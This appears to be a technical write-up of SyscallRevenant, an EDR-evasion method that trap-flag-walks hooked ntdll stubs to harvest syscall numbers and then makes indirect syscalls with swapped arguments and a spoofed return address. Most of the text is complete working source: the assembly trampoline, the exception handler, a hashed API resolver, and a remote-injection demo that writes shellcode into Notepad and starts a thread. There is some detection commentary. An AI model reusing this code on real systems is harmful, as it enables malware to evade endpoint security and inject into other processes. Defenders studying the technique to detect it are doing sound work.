

Executive Summary
Most EDR user-mode sensors sit on the first bytes of an Nt* export. A program lands there, the vendor logs the arguments, a score gets updated, and then the real stub is allowed to run. Hell’s Gate tried to skip that prologue. Indirect syscalls tried to jump at the syscall gadget inside ntdll so the origin still looked legitimate. SyscallRevenant, published by si13nt (GitHub SilentisVox, MIT, 2026), does something ruder: it walks into the hook on purpose, single-steps until RIP sits on 0x0F05, copies the System Service Number out of EAX, and leaves without entering the kernel. A moment later it jumps straight at that opcode with a different argument list and a return address borrowed from the first visit.
si13nt already names the leftover. SysEnter, SysExit, and a stack walk can look almost ordinary. The Query Performance Counter stamps do not. The public proof of concept still does the oldest demo in the book — remote calc.exe into Notepad — so anyone with Sysmon 8/10/1 will hear it. The interesting part is the two-pass trampoline, not the payload. The README and the source disagree on a few names (AsmRevenant.asm versus Revenant.asm, REAL_RTN versus RRTN). That is worth keeping in your head while you read. Authorized machines only; the repo says so first.
The chute behind ntdll
A Win32 call is theatre. CreateRemoteThread becomes NtCreateThreadEx somewhere under kernelbase, and the last honest bytes in user mode are a tiny stub: mov r10, rcx, mov eax, <SSN>, syscall, ret. The extra move exists because syscall overwrites RCX with the return RIP; the kernel still wants the first argument in R10. That two-byte opcode, 0x0F05 on x64, is the chute into ntoskrnl.
EDR patches the start of the interesting exports. Sometimes a relative jump, sometimes ff 25, sometimes a vendor detour that looks like nothing Microsoft shipped. From then on every polite caller is photographed. Arguments, maybe a stack, maybe a behavioral blob. The hook tails back into the original stub so the kernel request still happens. The whole game for the last five years has been: can you make the kernel request without giving that camera a useful picture.

Hell’s Gate read the SSN out of a clean prologue and issued syscall from attacker memory. Halo’s Gate and Tartarus’ Gate walked neighbouring exports when the prologue was already a jump. SysWhispers sorted Zw* by address and treated the index as the number. Indirect stubs improved the photograph by executing the opcode inside ntdll’s .text, which satisfies the cheap “did this syscall come from ntdll?” check. Revenant keeps that property and adds a dress rehearsal. The hook is entered. It is just entered with junk.
The public tree
The repo is SilentisVox/SyscallRevenant. LICENSE is MIT, copyright 2026 si13nt. Same handle has DoomSyscalls, which already talked about clean indirect syscalls and RIP spoofing off addresses inside ntdll. Revenant’s extra move is the trap-flag walk plus parameter replacement on the second pass. The art under the title is captioned “Surpassing EDRs & AVs.”
SyscallRevenant is a new method of performing clean indirect syscalls. The main component resolves System Service Numbers (SSNs) and syscall instruction addresses dynamically. This is done by enabling the trap flag during execution. The secondary component is tampering via parameter replacement before a syscall. This combination is designed to bypass userland hooks during the subsequent syscall invocation while substituting the initially presented parameters.
README.md, SilentisVox/SyscallRevenant
The disclaimer is in the README and it is the engagement rule: educational and testing only, no machines you do not own or have written permission to touch, no talking to hosts you are not authorized to use. There is also a one-line thank you to Ava, left as published.
Preamble
Indirect syscalls, in the README’s wording, execute a syscall instruction that already lives in trusted userland. Find the bytes, jump to them. A tracing session can show you the return address sitting immediately after the opcode. That is the entire classic trick, and it is also why a lot of early direct-syscall loaders started getting burned: the opcode was in the wrong image.
Hooks break the lookup. Once ntdll is patched, reading the first bytes for an SSN is a coin toss, and skipping the export entirely is itself a signal. si13nt’s observation is the one that actually matters: entering the hook is good for the thread’s score. Seeing the function entry and seeing the kernel operation are two different facts. RevenantSyscalls is a bet on that gap.
A user-mode hook fires when RIP lands on the export. It has no built-in reason to believe the registers twenty instructions later are the same ones it logged, especially if someone single-steps out before the opcode and comes back with a new register file. Kernel ETW-TI and stack walks try to close that bind. The leftover si13nt points at is time. QPC stamps that a clean stub would never produce.
How it works
Two parts. First, resolve the export in the ntdll that is already loaded, then trap-walk it if you still need the SSN and the opcode address. Second, jump at the saved information with the real arguments.
PEB, exports, ROR7
x64 usermode can read the Process Environment Block off GS:[0x60]. LoaderData hangs off that, and the module list inside it has names and bases. Revenant walks InInitializationOrder, narrows each UNICODE name to ANSI, and hashes it. The hash is rotate-right-7 and add, ROR7_32, baked into _rvnt.h as constants for ntdll.dll and the Nt* / Rtl* names it cares about. No GetModuleHandle, no GetProcAddress.
Export parsing is the usual PE walk. e_lfanew at 0x3C, export directory RVA at +0x88 in the NT headers, then NumberOfNames / AddressOfFunctions / AddressOfNames / AddressOfNameOrdinals. The name index is only valid for names and name ordinals, which the README bothers to say because people still mix that up with the function RVA table. Hashing the name keeps the binary from carrying a convenient NtWriteVirtualMemory string.
Module walk, for people who want the offsets in one place: PEB at GS:[0x60], PEB_LDR_DATA at +0x18, InInitializationOrderModuleList at +0x30, base at +0x10 in the LDR entry, UNICODE_STRING around +0x38/+0x40. That path is old. It still works, and it still looks like shellcode because it is the same idea as shellcode.
Trap flag
A vectored exception handler sees exceptions from anywhere in the process. Turn on the trap flag and the next instruction raises EXCEPTION_SINGLE_STEP (0x80000004). The handler looks at RIP. If the two bytes there are not syscall, it puts TF back on and continues. If they are, it writes down the address and the number in RAX, then yanks execution so the rehearsal never hits the kernel.

The hardware bit is EFLAGS.TF, mask 0x100. After the next instruction, the CPU raises #DB. In the VEH, ExceptionAddress and ContextRecord->Rip agree on the instruction that is about to run, which is why the LOOKUP=1 arm tests *(USHORT*)ExceptionAddress == 0x050F and diverts before the transition. Once a real syscall has already run, RIP sits on the following byte, so the LOOKUP=0 arm tests ExceptionAddress - 2. Non-single-step exceptions are declined with EXCEPTION_CONTINUE_SEARCH. Hits return EXCEPTION_CONTINUE_EXECUTION and, while hunting, re-arm TF with EFlags |= 0x100.
That storm is loud if anyone is counting. Honest programs almost never single-step their own ntdll. The handler is also installed with First = 1, so it runs ahead of later VEHs. On a box where the EDR uses vectored handling, that ordering is its own argument.
Example
Two debugger shots sit side by side in the README. Left is lookup. Right is execution. They are small PNGs; they are also the only runtime evidence the repo ships, so they stay here at full original size.


Each syscall has the initial information lookup. Hooks are entered to retrieve that information. Then an indirect jump is made to the opcode. There is an assoicated RIP spoof from the original entry — the README’s spelling. On re-entry the parameters have been swapped.
From ETW, the events you might see are SysEnter, SysExit, and StackWalk for either. If a vendor builds comparable events, they look nearly identical. The difference si13nt calls out is durastically different QPC timestamps. That word is in the README too. I am leaving both as published.

QPC is what sits under QueryPerformanceCounter and under a lot of ETW headers. A clean NtAllocateVirtualMemory from kernelbase spends a handful of nanoseconds in the stub. A trap-flag walk spends one exception, one user-mode handler, and one context restore per instruction until 0x0F05. If your pipeline keeps both the hook-entry time and the SysEnter time, that gap is sitting there. If you only store stacks and argument hashes, you will miss it.
Technicals
The README says follow along in src/AsmRevenant.asm. The tree file is src/Revenant.asm. The teaching sketch uses REAL_RTN / FAKE_RTN. The assembled source uses RRTN / FRTN. Same swap.
README assembly sketch
REAL_RTN: DQ 0
FAKE_RTN: DQ 0
; If a syscall information lookup is in progress, the
; initial entry return address needs to be preserved.
MOV RAX, QWORD PTR [RSP]
MOV QWORD PTR [FAKE_RTN], RAX
; Once the re-entry is made, the real return is saved,
; and the current is spoofed with initial return.
MOV RAX, QWORD PTR [RSP]
MOV QWORD PTR [REAL_RTN], RAX
MOV RAX, QWORD PTR [FAKE_RTN]
MOV QWORD PTR [RSP], RAX
On lookup, the return address on the stack is the instruction after TRAP_SYSCALL(...). That value is kept. On the real shot, the true return (after RUN_SYSCALL(...)) is saved aside and the stack slot is overwritten with the lookup’s return. A later walk that starts at the gadget therefore sees the first, hooked call.
README handler sketch
Compressed C in the README uses teaching names: LookupInProgress, BreakPoint->Address, SyscallExit. The tree uses LOOKUP, ExceptionAddress, TRAMPOLINE_EXIT.
LONG VectoredExceptionHandler(EXCEPTION_POINTERS *BreakPoint) {
...
// If a syscall information lookup is being made, the
// syscall instruction address is saved, the SSN is
// saved, and the return is rerouted.
if (LookupInProgress && *(USHORT*)BreakPoint->Address == 0x050F) {
SyscallInstruction = BreakPoint->Address;
SyscallSSN = BreakPoint->Context->Rax;
BreakPoint->Context->Rip = SyscallExit;
}
// When re-entered, if the previous instruction was
// a syscall, reset return address, and exit.
if (!LookupInProgress && *(USHORT*)(BreakPoint->Address - 2) == 0x050F) {
*(VOID**)BreakPoint->Context->Rsp = REAL_RTN;
BreakPoint->Context->Rip = SyscallExit;
}
...
}
Two tests. If we are rehearsing and we have arrived at the opcode, record address and SSN, then leave. If the instruction we just finished was a syscall, put the real return back and leave the trampoline. Everything else is one more step.
The trampoline that actually links
Fifty-one lines of NASM. Globals ENTRY, SSN, and LOOKUP are shared with C. ENTRY starts as the Nt* export and is later overwritten with the opcode address. That overwrite is the whole trick.
BITS 64
section .data
global ENTRY
global SSN
global LOOKUP
global RRTN
ENTRY: DQ 0
SSN: DD 0
LOOKUP: DB 0
FRTN: DQ 0
RRTN: DQ 0
section .text
global TRAMPOLINE
global INDIRECT
global TRAMPOLINE_EXIT
TRAMPOLINE:
TRAP:
PUSHFQ
OR QWORD [RSP], 0x100
POPFQ
INIT:
MOV AL, BYTE [LOOKUP]
CMP AL, 1
JNZ FAKE
PRESERVE:
MOV RAX, QWORD [RSP]
MOV QWORD [FRTN], RAX
JMP INDIRECT
FAKE:
MOV RAX, QWORD [RSP]
MOV QWORD [RRTN], RAX
MOV RAX, QWORD [FRTN]
MOV QWORD [RSP], RAX
INDIRECT:
MOV R10, RCX
MOV EAX, DWORD [REL SSN]
JMP QWORD [REL ENTRY]
TRAMPOLINE_EXIT:
MOV BYTE [LOOKUP], 0
RET
TRAMPOLINE_END:
TRAP sets TF with PUSHFQ / OR [RSP], 0x100 / POPFQ. INIT branches on LOOKUP. PRESERVE stashes [RSP] in FRTN. FAKE stashes the real return in RRTN and writes FRTN over the stack slot. INDIRECT does the ABI shuffle mov r10, rcx, loads EAX from SSN, and jmp [ENTRY]. TRAMPOLINE_EXIT clears LOOKUP and returns; the VEH points RIP here both to abort a walk and to finish a real syscall.
The jump is through a global, so after lookup it no longer hits the prologue. The execute pass never re-enters the hook. Skipping the official stub is also why mov r10, rcx has to live in this file: the kernel still wants that. SSN is a DD; C writes it from ContextRecord->Rax.
LOOKUP = 1 (rehearsal)
SET_FUNCTION hash-resolve Nt* export → ENTRY = function start
TRAP_SYSCALL TF on, save FRTN, jmp [ENTRY] // walk the hooked stub
VEH single-step until RIP sits on 0x0F05
ENTRY := that RIP, SSN := RAX
RIP := TRAMPOLINE_EXIT // kernel is never entered
LOOKUP = 0 (the real shot)
RUN_SYSCALL TF on, RRTN := real return, [RSP] := FRTN
jmp [ENTRY] // ENTRY is now the opcode
kernel real args in RCX/RDX/R8/R9 + stack
VEH after 0x0F05, put RRTN back, RIP := TRAMPOLINE_EXIT
Resolver, dummy arguments, VEH
Revenant.c is the rest of the machinery: a rdtsc-seeded mixer for dummy arguments, the PEB/export walker, the real handler, and thin wrappers for RtlAddVectoredExceptionHandler, RtlAllocateHeap, and RtlFreeHeap. Those three Rtl helpers go through SET_FUNCTION / RUN_FUNCTION as well, so even heap traffic avoids a direct import.
#include "_wn64.h"
#include "_rvnt.h"
UINT GetRandom() {
UINT h = 0, l = 0, r = 0, i = 0;
__asm__ volatile ("rdtsc" : "=a" (l), "=d" (h));
for (UINT i = 0; i < (h % 255); i++) {
r = ((r >> 13) | (r << 21));
r = r * 0x2499CE2F;
r = (r + ((l >> (8 * (i % 4))) & 0xFF));
r = r ^ 0x39C5E493;
}
return r;
}
ULONG ROR7_32(CONST UCHAR *Name) {
ULONG h = 0, i = 0;
while (Name[i]) {
h = (h >> 7) | (h << 25);
h += Name[i++];
}
return h;
}
VOID InitializeModuleConfig(VOID *hModule, PMODULE_CONFIG pModuleConfig) {
VOID *pNtHeaders = (VOID*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)hModule) + 0x3C));
VOID *pExportDirectory = (VOID*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pNtHeaders) + 0x88));
pModuleConfig->hModule = hModule;
pModuleConfig->NumberOfNames = *(ULONG*)(((CHAR*)pExportDirectory) + 0x18);
pModuleConfig->AddressOfFunctions = (ULONG*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x1C));
pModuleConfig->AddressOfNames = (ULONG*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x20));
pModuleConfig->AddressOfNameOrdinals = (USHORT*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x24));
}
BOOL GetModule(ULONG ModuleHash, VOID **hModule) {
VOID *pProcessEnvironmentBlock = __readgsqword(0x60);
VOID *pLoaderData = *(VOID**)(((CHAR*)pProcessEnvironmentBlock) + 0x18);
VOID *pInInitializationOrderModuleList = (VOID*)(((CHAR*)pLoaderData) + 0x30);
VOID *pModuleList = *(VOID**)pInInitializationOrderModuleList;
while (pInInitializationOrderModuleList != pModuleList) {
WCHAR *Buffer = (WCHAR*)*(VOID**)(((CHAR*)pModuleList) + 0x40);
USHORT MaximumLength = *(USHORT*)(((CHAR*)pModuleList) + 0x3A);
UCHAR ModuleNameA[MAX_PATH] = { 0 };
for (ULONG i = 0; i < MaximumLength / 2; i++) {
ModuleNameA[i] = Buffer[i];
}
if (ROR7_32(ModuleNameA) != ModuleHash) {
pModuleList = *(VOID**)pModuleList;
continue;
}
*hModule = *(VOID**)(((CHAR*)pModuleList) + 0x10);
return TRUE;
}
*hModule = NULL;
return FALSE;
}
BOOL GetFunction(VOID *hModule, ULONG FunctionHash, VOID **pFunction) {
MODULE_CONFIG ModuleConfig = { 0 };
InitializeModuleConfig(hModule, &ModuleConfig);
for (ULONG i = 0; i < ModuleConfig.NumberOfNames; i++) {
ULONG FunctionNameRva = ModuleConfig.AddressOfNames[i];
UCHAR *FunctionName = (UCHAR*)hModule + FunctionNameRva;
if (ROR7_32(FunctionName) != FunctionHash) {
continue;
}
USHORT FunctionOrdinal = ModuleConfig.AddressOfNameOrdinals[i];
ULONG FunctionRva = ModuleConfig.AddressOfFunctions[FunctionOrdinal];
*pFunction = (UCHAR*)hModule + FunctionRva;
return TRUE;
}
*pFunction = NULL;
return FALSE;
}
BOOL ResolveFunction(ULONG ModuleHash, ULONG FunctionHash, VOID **pFunction) {
VOID *hModule = NULL;
if (!GetModule(ModuleHash, &hModule))
return FALSE;
if (!GetFunction(hModule, FunctionHash, pFunction)) {
*pFunction = NULL;
return FALSE;
}
return TRUE;
}
LONG VectoredExceptionHandler(EXCEPTION_POINTERS* pBreakPoint) {
if (pBreakPoint->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
return EXCEPTION_CONTINUE_SEARCH;
}
switch (LOOKUP) {
case 0:
if (*(USHORT*)(pBreakPoint->ExceptionRecord->ExceptionAddress - 2) != 0x050F) {
pBreakPoint->ContextRecord->EFlags |= 0x100;
break;
}
*(VOID**)pBreakPoint->ContextRecord->Rsp = RRTN;
pBreakPoint->ContextRecord->Rip = (ULONG_PTR)TRAMPOLINE_EXIT;
break;
case 1:
if (*(USHORT*)pBreakPoint->ExceptionRecord->ExceptionAddress != 0x050F) {
pBreakPoint->ContextRecord->EFlags |= 0x100;
break;
}
ENTRY = (VOID*)pBreakPoint->ContextRecord->Rip;
SSN = (ULONG)pBreakPoint->ContextRecord->Rax;
pBreakPoint->ContextRecord->Rip = (ULONG_PTR)TRAMPOLINE_EXIT;
break;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
VOID *RtlAddVectoredExceptionHandler(ULONG First, VOID *Handler) {
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__RtlAddVectoredExceptionHandler,
&ENTRY
);
return RUN_FUNCTION(
First,
Handler
);
}
VOID *RtlAllocateHeap(VOID *hHeap, ULONG Flags, ULONG_PTR Size) {
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__RtlAllocateHeap,
&ENTRY
);
return RUN_FUNCTION(
hHeap,
Flags,
Size
);
}
BOOL RtlFreeHeap(VOID *hHeap, ULONG Flags, VOID *pAddress) {
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__RtlFreeHeap,
&ENTRY
);
return (BOOL)RUN_FUNCTION(
hHeap,
Flags,
pAddress
);
}
GetRandom is not a CSPRNG. It is a short mix of rotates, a multiply by 0x2499CE2F, and a xor with 0x39C5E493, looped off the high half of rdtsc. The hooked entry is supposed to see noise: the wrong process handle, the wrong size, the wrong buffer. That is the entire reason it exists.
A hunter grepping for NtCreateThreadEx inside this binary will be disappointed. A hunter who recognizes rotate-add loops will have a better morning. The constants are cheap IOCs for this exact build. Rehashing them is a one-line change, so treat them as a bonus, not the hunt.
Headers
_rvnt.h is the contract. The macros at the bottom are the user-facing API: resolve, run a function, trap-walk a syscall, run a syscall.
#include "_wn64.h"
#ifndef _RVNT_H
#define _RVNT_H
#define ROR7_32__NTDLL 0x72CBE53A
#define ROR7_32__NtQuerySystemInformation 0xEFFC1CF8
#define ROR7_32__NtOpenProcess 0x7B736553
#define ROR7_32__NtAllocateVirtualMemory 0x014044AE
#define ROR7_32__NtWriteVirtualMemory 0x1130814D
#define ROR7_32__NtCreateThreadEx 0x93EC9D3D
#define ROR7_32__NtExitProcess 0x618D8E8F
#define ROR7_32__RtlAllocateHeap 0x8E17053D
#define ROR7_32__RtlFreeHeap 0xC839B3B6
#define ROR7_32__RtlAddVectoredExceptionHandler 0x22AB404F
typedef struct _MODULE_CONFIG {
VOID *hModule;
ULONG NumberOfNames;
ULONG *AddressOfFunctions;
ULONG *AddressOfNames;
USHORT *AddressOfNameOrdinals;
} MODULE_CONFIG, * PMODULE_CONFIG;
BOOL
NTAPI
ResolveFunction(
ULONG ModuleHash,
ULONG FunctionHash,
VOID **pFunction
);
LONG
NTAPI
VectoredExceptionHandler(
EXCEPTION_POINTERS *pBreakPoint
);
PVOID
NTAPI
RtlAddVectoredExceptionHandler(
ULONG First,
VOID *Handler
);
PVOID
NTAPI
RtlAllocateHeap(
VOID *hHeap,
ULONG Flags,
ULONG_PTR Size
);
BOOL
NTAPI
RtlFreeHeap(
VOID *hHeap,
ULONG Flags,
VOID *pAddress
);
VOID
NTAPI
ReturnAgent();
extern VOID *ENTRY;
extern ULONG SSN;
extern UCHAR LOOKUP;
extern VOID* RRTN;
extern VOID *TRAMPOLINE();
extern VOID *INDIRECT();
extern VOID TRAMPOLINE_EXIT();
#define SET_FUNCTION ResolveFunction
#define RUN_FUNCTION INDIRECT
#define TRAP_SYSCALL (LOOKUP = 1, TRAMPOLINE)
#define RUN_SYSCALL (LOOKUP = 0, TRAMPOLINE)
#endif // !_RVNT_H
Hashed names in the header: ntdll.dll, NtQuerySystemInformation, NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtExitProcess, RtlAllocateHeap, RtlFreeHeap, RtlAddVectoredExceptionHandler. That list is also a map of the demo: find a process, open it, map RWX, write bytes, create a thread, exit.
_wn64.h is a home-grown x64 type kit so the project never includes windows.h. The pieces that actually drive Revenant are the GS reader and the single-step constants. The rest is structure layout: UNICODE_STRING, OBJECT_ATTRIBUTES, SYSTEM_PROCESS_INFORMATION, CLIENT_ID, a hand-rolled CONTEXT with an XMM save area. Full file on GitHub as src/_wn64.h.
#define __readgsqword(o) ({VOID *v;__asm__ volatile("mov %%gs:%c1, %0":"=r"(v):"i"(o)); v;})
#define NtGetProcessHeap() ({VOID *v; v = *(VOID**)(((CHAR*)__readgsqword(0x60)) + 0x30); v;})
#define CONTEXT_DEBUG_REGISTERS (0x100000 | 0x10)
#define EXCEPTION_SINGLE_STEP 0x80000004
#define EXCEPTION_ILLEGAL_INSTRUCTION 0xC000001D
#define EXCEPTION_CONTINUE_SEARCH 0
#define EXCEPTION_CONTINUE_EXECUTION -1
The published demo
RevenantSyscalls.c is the thing the README is about. It registers the VEH, finds Notepad.exe via NtQuerySystemInformation class 5, opens it, allocates PAGE_EXECUTE_READWRITE in the remote process, writes a 162-byte calculator launcher, and starts a thread there. Every syscall is a pair: TRAP_SYSCALL with GetRandom() placeholders, then RUN_SYSCALL with the real arguments. This is the public educational demo. The tree stays on GitHub; this page is not a packaged implant.
In less ceremonial language: look for a running Notepad, ask Windows for a blank page inside it, copy a tiny program that only knows how to start Calculator, ask Windows to run that as a new thread. Those four asks have been watched since the XP era. The twist is the dress rehearsal. The hook sees junk. The kernel sees the real request.
#include "_wn64.h"
#include "_rvnt.h"
// Indirect Syscalls with SyscallRevenant.
//
// This is a proof-of-concept that combines trap-flag
// tracing, indirect syscalls, return address spoofing,
// and parameter tampering. It explores the gap between
// a function's entry and the operation that actually
// reaches the kernel.
//
// .dS$$SS$b,.
// .d$S$$” `‘”kb:,
// .d7’ ‘S;. “3i:
// .?” .7, “j, d$i;.
// ?i 7’ ; ,3$SssS$$I;.
// ;,..d$ssS$S$$SSS$7., .
// ;$Sii;;S.;,;,;.S7,. ., .
// ‘,,’,i”’’ . ..‘d.,.,,..
// k,.i’‘ ‘ “k.,,,.
// k.;b :i;,;’
// ‘ki, ki;i,
// `ki. I;ii.
// `k;,.. ,., .iI:I;.
// `ki:. .. ;7$;;’;.
// ‘k’;’;;7?;::.;..
// ‘aiI;;:.;..
//
UCHAR REVENANT[] =
"In computing, a system call (syscall) is the"
"programmatic way in which a computer program"
"requests a service from the operating system on"
"which it is executed. This may include"
"hardware-related services (for example, accessing a"
"hard disk drive or accessing the device's camera),"
"creation and execution of new processes, and"
"communication with integral kernel services such as"
"process scheduling. System calls provide an"
"essential interface between a process and the"
"operating system. In most systems, system calls can"
"only be made from userspace processes, while in"
"some systems, OS/360 and successors for example,"
"privileged system code also issues system calls.";
// "calc.exe" shellcode.
UCHAR SHELLCODE[162] = {
0x40, 0x80, 0xE4, 0xF0, 0x41, 0xBB, 0x51, 0x2F, 0xA2,
0x01, 0x6A, 0x00, 0x48, 0xB9, 0x63, 0x61, 0x6C, 0x63,
0x2E, 0x65, 0x78, 0x65, 0x51, 0x48, 0x89, 0xE1, 0x48,
0x83, 0xEC, 0x20, 0x48, 0x83, 0xFC, 0x07, 0xE8, 0x07,
0x00, 0x00, 0x00, 0x41, 0xBB, 0x56, 0x13, 0xEC, 0x6D,
0x51, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00,
0x00, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x30,
0x74, 0x06, 0x48, 0x8B, 0x12, 0x48, 0x8B, 0x12, 0x48,
0x8B, 0x52, 0x10, 0x8B, 0x6A, 0x3C, 0x48, 0x01, 0xD5,
0x8B, 0xAD, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xD5,
0x44, 0x8B, 0x45, 0x18, 0x44, 0x8B, 0x4D, 0x20, 0x49,
0x01, 0xD1, 0x49, 0xFF, 0xC8, 0x43, 0x8B, 0x34, 0x81,
0x48, 0x01, 0xD6, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xD2,
0xAC, 0x3C, 0x00, 0x74, 0x09, 0x41, 0xC1, 0xCA, 0x07,
0x41, 0x01, 0xC2, 0xEB, 0xF2, 0x45, 0x39, 0xDA, 0x75,
0xDD, 0x8B, 0x45, 0x24, 0x48, 0x01, 0xD0, 0x66, 0x46,
0x8B, 0x04, 0x40, 0x8B, 0x45, 0x1C, 0x48, 0x01, 0xD0,
0x42, 0x8B, 0x04, 0x80, 0x48, 0x01, 0xD0, 0xFF, 0xE0
};
INT COMPARE(CONST WCHAR* U1, CONST WCHAR* U2) {
if (!U1 || !U2)
return -1;
USHORT A = 1, B = 1;
while ((A && B) && (A == B)) {
A = *U1++;
B = *U2++;
}
return A - B;
}
HANDLE GET_PROCESS_ID(WCHAR* PROCESS_NAME) {
//
// Viewing processes requires a query of system
// information. Parse the query, find the desired
// process name, save the ID.
// NtQuerySystemInformation requires 4 parameters.
//
// RCX => Query type.
// RDX => Buffer to write too.
// R8 => Size of buffer.
// R9 => Expected size of buffer.
//
// You can leave buffer and size empty, but you
// will need to supply a pointer to an 8 byte
// field to receive the "expected size".
//
ULONG SIZE;
SYSTEM_PROCESS_INFORMATION* P_SYS_PROC_INFO;
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtQuerySystemInformation,
&ENTRY
);
TRAP_SYSCALL(
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom()
);
if (NT_SUCCESS(RUN_SYSCALL(
5,
0,
0,
&SIZE
)))
return 0;
if (!(P_SYS_PROC_INFO = (SYSTEM_PROCESS_INFORMATION*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, SIZE)))
return 0;
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtQuerySystemInformation,
&ENTRY
);
TRAP_SYSCALL(
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom()
);
if (!NT_SUCCESS(RUN_SYSCALL(
5,
P_SYS_PROC_INFO,
SIZE,
&SIZE
)))
return 0;
while (COMPARE(PROCESS_NAME, P_SYS_PROC_INFO->ImageName.Buffer)) {
if (!P_SYS_PROC_INFO->NextEntryOffset)
return 0;
P_SYS_PROC_INFO = (SYSTEM_PROCESS_INFORMATION*)(((CHAR*)P_SYS_PROC_INFO) + P_SYS_PROC_INFO->NextEntryOffset);
}
return P_SYS_PROC_INFO->UniqueProcessId;
}
//
// Windows ABI follows a standard calling convention.
//
// RCX => 1st parameter
// RDX => 2nd parameter
// R8 => 3rd parameter
// R9 => 4th parameter
// [RSP + 0x20] => 5th parameter
// [RSP + 0x28] => 6th parameter
// ...
// [RSP + 0x00 .. 0x18] Belong to the functions
// being called. This stack space is used to save
// any arguments that as may need be.
//
VOID main() {
RtlAddVectoredExceptionHandler(
1,
VectoredExceptionHandler
);
//
// NtOpenProcess requires 4 parameters.
//
// RCX => Pointer to handle.
// RDX => Access mask.
// R8 => Pointer to Object Attributes
// R9 => Pointer to Client ID.
//
HANDLE PROCESS;
HANDLE THREAD;
HANDLE PROCESS_ID = GET_PROCESS_ID(L"Notepad.exe");
VOID* INJECT = NULL;
ULONG_PTR SIZE = sizeof(SHELLCODE);
OBJECT_ATTRIBUTES* P_OBJECT_ATTRIBUTES;
CLIENT_ID* P_CLIENT_ID;
if (!(P_OBJECT_ATTRIBUTES = (OBJECT_ATTRIBUTES*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(OBJECT_ATTRIBUTES))))
goto END;
if (!(P_CLIENT_ID = (CLIENT_ID*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CLIENT_ID))))
goto END;
P_OBJECT_ATTRIBUTES->Length = sizeof(OBJECT_ATTRIBUTES);
P_CLIENT_ID->UniqueProcess = PROCESS_ID;
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtOpenProcess,
&ENTRY
);
TRAP_SYSCALL(
NULL,
PROCESS_ALL_ACCESS,
NULL,
NULL
);
if (!NT_SUCCESS(RUN_SYSCALL(
&PROCESS,
PROCESS_ALL_ACCESS,
P_OBJECT_ATTRIBUTES,
P_CLIENT_ID
)))
goto END;
//
// NtAllocateVirtualMemory requires 6 parameters.
//
// RCX => Process handle.
// RDX => Pointer to address.
// R8 => Zero bits.
// R9 => Pointer to size.
// [RSP + 0x20] => Memory mode.
// [RSP + 0x28] => Page mode.
//
// An important note: when allocating memory, the
// OS will allocate according to PAGE. The return
// address will be a new one on the start of this
// said PAGE. If the address is already know, you
// must respecify the address when writing memory.
//
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtAllocateVirtualMemory,
&ENTRY
);
TRAP_SYSCALL(
NtCurrentProcess(),
NULL,
NULL,
4096,
MEM_COMMIT,
PAGE_READWRITE
);
if (!NT_SUCCESS(RUN_SYSCALL(
PROCESS,
&INJECT,
NULL,
&SIZE,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
)))
goto END;
//
// NtWriteVirtualMemory requires 5 parameters.
//
// RCX => Process handle.
// RDX => Pointer to address.
// R8 => Pointer to memory to copy.
// R9 => Length of memory to copy.
// [RSP + 0x20] => Pointer to bytes copied.
//
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtWriteVirtualMemory,
&ENTRY
);
TRAP_SYSCALL(
NtCurrentProcess(),
NULL,
NULL,
NULL,
NULL
);
if (!NT_SUCCESS(RUN_SYSCALL(
PROCESS,
INJECT,
SHELLCODE,
sizeof(SHELLCODE),
&SIZE
)))
goto END;
//
// NtCreateThreadEx requires 11 parameters.
//
// RCX => Pointer to thread handle.
// RDX => Thread access.
// R8 => Pointer to object attributes
// R9 => Process handle.
// [RSP + 0x20] => Pointer to memory region.
// [RSP + 0x28] => Arguments.
// [RSP + 0x30] => Creation flags.
// [RSP + 0x38] => Zero bits.
// [RSP + 0x40] => Stack size.
// [RSP + 0x48] => Max stack size.
// [RSP + 0x50] => Attribute list.
//
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtCreateThreadEx,
&ENTRY
);
TRAP_SYSCALL(
NULL,
THREAD_ALL_ACCESS,
NULL,
NtCurrentProcess(),
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom(),
GetRandom()
);
if (!NT_SUCCESS(RUN_SYSCALL(
&THREAD,
THREAD_ALL_ACCESS,
NULL,
PROCESS,
INJECT,
NULL,
FALSE,
NULL,
NULL,
NULL,
NULL
)))
goto END;
END:
if (P_OBJECT_ATTRIBUTES)
RtlFreeHeap(NtGetProcessHeap(), 0, P_OBJECT_ATTRIBUTES);
if (P_CLIENT_ID)
RtlFreeHeap(NtGetProcessHeap(), 0, P_CLIENT_ID);
//
// NtTerminateProcess requires 2 parameters.
//
// RCX => Process handle.
// RDX => Return code.
//
SET_FUNCTION(
ROR7_32__NTDLL,
ROR7_32__NtExitProcess,
&ENTRY
);
TRAP_SYSCALL(
NtCurrentProcess(),
ZERO
);
if (!NT_SUCCESS(RUN_SYSCALL(
NtCurrentProcess(),
ZERO
)))
return;
}
